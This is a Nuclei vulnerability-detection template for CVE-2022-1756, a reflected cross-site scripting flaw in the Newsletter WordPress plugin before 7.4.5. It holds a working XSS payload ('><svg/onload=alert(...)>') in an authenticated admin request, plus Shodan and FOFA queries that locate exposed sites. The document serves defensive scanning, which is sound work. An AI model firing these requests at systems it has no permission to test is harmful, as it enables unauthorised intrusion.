Newsletter < 7.4.5 - Cross-Site Scripting

ID: CVE-2022-1756

Severity: medium

Author: Harsh

Tags: cve,cve2022,wpscan,newsletter,xss,authenticated,thenewsletterplugin,wordpress

Description

The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER[‘REQUEST_URI’] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.

YAML Source

id: CVE-2022-1756

info:
  name: Newsletter < 7.4.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: Fixed in version 7.4.5
  reference:
    - https://wpscan.com/vulnerability/6ad407fe-db2b-41fb-834b-dd8c4f62b072
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1756
    - https://wordpress.org/plugins/newsletter/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1756
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.37623
    cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thenewsletterplugin
    product: newsletter
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/newsletter/
    fofa-query: body=/wp-content/plugins/newsletter/
    publicwww-query: "/wp-content/plugins/newsletter/"
  tags: cve,cve2022,wpscan,newsletter,xss,authenticated,thenewsletterplugin,wordpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")'
        condition: and
# digest: 4a0a00473045022003e2f1c63894a5a51302568e6b4e178c64e39ec8c9d4ceec490041fc507e5941022100e32bf1c3cf75b1b3064dfa38790a386ce571ef694fb8c28d0672bc21fd9d4f6d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1756.yaml"

View on Github